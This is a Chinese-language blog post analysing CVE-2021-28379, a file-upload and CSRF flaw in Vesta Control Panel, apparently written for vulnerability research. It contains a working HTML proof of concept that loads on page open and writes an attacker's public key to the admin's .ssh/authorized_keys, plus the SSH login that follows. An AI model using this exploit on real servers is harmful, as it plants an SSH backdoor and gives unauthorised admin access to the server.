• 原创文章
  • [CVE-2021-28379]木叶隐秘传法术奥义千年杀之点我链接登你SSH|File Upload CSRF漏洞分析

0x00前言

Vesta Control Panel(VestaCP)是一个开源的虚拟主机控制面板。 Vesta Control Panel 0.9.8-27版本及之前版本存在代码问题漏洞,该漏洞源于/web/upload/UploadHandler.php可配合CSRF漏洞在管理员主页中创建.ssh文件夹并上传authorized_keys文件,最终可以通过ssh以admin身份访问服务器。

0x01漏洞分析

定位漏洞文件/web/upload/index.php

该文件创建UploadHandler类的一个实例,相应上传操作在UploadHandler.php中实现。再定位到UploadHandler.php,可以看到如下构造方法

accept_file_types接受任意类型,此时首先应想到上传php来getshell。但/files/目录并不能解析php文件,遂继续阅读代码看能否跨目录上传到web目录。继续跟到上传功能函数handlefileupload()部分

该函数首先会调用trimfilename()来对文件名进行修改,我们来看下他干了什么

1. 首先调用stripslashes()从文件名中删除所有斜杠。

2. basename只取出文件名,保证不包含任何路径

3. 从文件名的开头和结尾删除所有控制字符(0x00 - 0x20)。

完美打破了我们在文件名上尝试目录穿越上传webshell的想法。问题不大继续往下看,在图三中handle_file_upload最后几行获取上传目录,该目录就是文件将被上载到的目录,如果该目录不存在,则会创建该目录。继续跟到get_upload_path函数

我们可以get方式传递dir参数并将上传目录设置为任何目录,那现在我们是不就可以向web目录上传文件了呢。回到handle_file_upload中可以看到实际创建文件操作是由v-copy-fs-file脚本完成

该bash脚本位于/bin/目录下,找到对$file_path做检查操作的相关行

允许并仅允许写入文件到/tmp/或者/home/admin/目录下

回过头撸一下,首先我们可以上传任意文件,其次我们可以控制写入文件路径为/tmp/,/home/admin/或其子目录,再然后VestaCP通常安装在linux上默认支持openssh。此时可以想到向/home/admin/.ssh/下写ssh公钥,之后通过ssh连接到服务器。但upload/存在鉴权,需登录后才可访问。

结合CSRF构造POC如下:

<html>
<head> 
<script>

function exploit() {
	var mystring = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY463UG77/acyToxaVO3EbPlpzKCRLNHtWye7a0zLYYBw5Ylncktc7xo+xytuJpqdXxyMOJAtrMhSuEG/8tXtVRf317rPxn4CFd6cP6OZC36crzTdsZQzHIxBdogeHHdbluDOS+JD1MjEZU2pXg/A01jJJ2IQ6DHjkNeDhFH2/RChCiWEgGRDOgImg5EU0ScnBacJwXsoikxQgI/s/2RdKs5M9IOr2YclsTugPUnnGzMHPLyG3RNfS5MC/QyVTyGG1IInLttqhwYGpXBhAXZsahUyQd03PwgvMO3EhK6zBvgIGLFybSwVogDPgACT4/O6Je3ynMCUSexSuNkFPgvnh root@iZbp19ryeo1038lmdsso1pZ';
	var fileContent = new Blob([mystring], {
    		type: 'text/plain'
	});
	myFormData = new FormData();
	myFormData.append("files", fileContent, "authorized_keys");
	fetch("https://localhost:8083/upload/index.php?dir=/home/admin/.ssh/", {
    	method: "post",
    	body: myFormData,
    	credentials: "include"
}); }
</script>

</head>

<body onload="exploit();">


</body>
</html>

0x02 漏洞复现

傻瓜式环境搭建

## Connect to your server as root via SSH
ssh root@your.server
# Download installation script
curl -O http://vestacp.com/pub/vst-install.sh
# Run it
bash vst-install.sh

将POC写入exploit.html

登录状态点击

ssh -i id_rsa admin@target

0x03 Reference

[*] https://blog.fadyothman.com/cve-2021-28379-gaining-rce-via-ssh-backdoor-in-vestacp/

[*] https://nvd.nist.gov/vuln/detail/CVE-2021-28379

[*] https://cxsecurity.com/issue/WLB-2021030100

[*] https://github.com/serghey-rodin/vesta/tree/0.9.8-24

[*] https://vestacp.com/install/


本文迁移自知识星球“火线Zone”

    说点什么吧...